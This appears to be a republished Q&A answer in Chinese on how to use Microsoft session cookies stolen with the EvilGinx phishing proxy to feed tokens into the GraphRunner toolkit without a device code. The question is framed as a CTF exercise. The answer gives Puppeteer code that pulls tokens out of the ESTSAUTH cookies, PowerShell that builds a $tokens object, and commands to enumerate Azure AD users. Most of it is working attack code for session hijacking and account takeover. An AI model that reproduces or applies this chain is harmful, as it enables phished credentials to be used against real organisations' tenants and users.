You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

CTF场景下无需Get-GraphTokens能否运行GraphRunner模块?

实现EvilGinx窃取Cookie到GraphRunner的无设备码流程

核心问题分析

你直接用钓鱼获取的令牌无效,主要是两个原因:

  • 窃取的令牌受众(aud字段)可能不是https://graph.microsoft.com,而是针对Microsoft 365门户的;
  • 没有按照GraphRunner要求的格式构造$tokens对象,尤其是缺失ClientId、Resource等关键元数据。

步骤1:从EvilGinx窃取的Cookie中提取Graph API令牌

用Puppeteer处理窃取的Cookie时,重点定位以下Cookie并提取有效令牌:

  • ESTSAUTH:包含当前会话的access_token,需要解码验证aud是否为https://graph.microsoft.com;
  • ESTSAUTHPERSISTENT:包含refresh_token,用于后续令牌刷新。

示例Puppeteer代码片段:

const jwt_decode = require('jwt-decode'); // 需要安装jwt-decode包

// 假设cookies是从EvilGinx获取的Cookie数组
const estsAuthCookie = cookies.find(c => c.name === 'ESTSAUTH');
const estsPersistentCookie = cookies.find(c => c.name === 'ESTSAUTHPERSISTENT');

if (estsAuthCookie) {
  // 提取ESTSAUTH中的JWT部分
  const accessToken = estsAuthCookie.value.split(',')[0];
  const decodedToken = jwt_decode(accessToken);
  
  // 验证受众是否为Graph API
  if (decodedToken.aud === 'https://graph.microsoft.com') {
    // 提取refresh_token(从ESTSAUTHPERSISTENT中解析,格式类似ESTSAUTH)
    const refreshToken = estsPersistentCookie ? estsPersistentCookie.value.split(',')[0] : null;
    const idToken = decodedToken.iat ? accessToken : null; // 或从其他Cookie提取id_token
    
    // 将令牌导出为JSON,供后续PowerShell使用
    console.log(JSON.stringify({
      accessToken: accessToken,
      refreshToken: refreshToken,
      idToken: idToken,
      tenantId: decodedToken.tid
    }));
  }
}

步骤2:构造GraphRunner兼容的$tokens对象

GraphRunner的-Tokens参数需要严格匹配以下结构,尤其是ClientId必须使用GraphRunner默认的AzureAD PowerShell客户端ID:

# 从Puppeteer导出的JSON中读取令牌数据
$stolenTokens = Get-Content "path/to/stolen-tokens.json" | ConvertFrom-Json

# 构造符合要求的$tokens对象
$tokens = @{
  AccessToken  = $stolenTokens.accessToken
  RefreshToken = $stolenTokens.refreshToken
  IdToken      = $stolenTokens.idToken
  Resource     = "https://graph.microsoft.com"
  ExpiresOn    = (Get-Date).AddSeconds($(jwt-decode $stolenTokens.accessToken).exp - (Get-Date).ToUniversalTime().ToUnixTimeSeconds())
  TenantId     = $stolenTokens.tenantId
  ClientId     = "1950a258-227b-4e31-a9cf-717495945fc2" # GraphRunner默认的AzureAD PS客户端ID
}

注:ExpiresOn可以从access_token的exp字段转换为UTC时间,确保GraphRunner能正确处理令牌过期。


步骤3:串联流程并执行GraphRunner模块

将构造好的$tokens直接传入Get-AzureADUsers:

# 导入GraphRunner模块
Import-Module .\GraphRunner.psd1

# 无需设备码,直接执行模块
Get-AzureADUsers -Tokens $tokens

常见问题排查

  • 403权限不足:确保钓鱼的用户账号拥有User.Read.All或更高的Graph API权限;
  • 令牌无效:检查access_token的aud是否为https://graph.microsoft.com,ClientId是否与上述一致;
  • 刷新失败:如果refresh_token无效,尝试直接使用未过期的access_token(无需refresh_token)。

内容的提问来源于stack exchange,提问作者Adam

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.13 03:57:02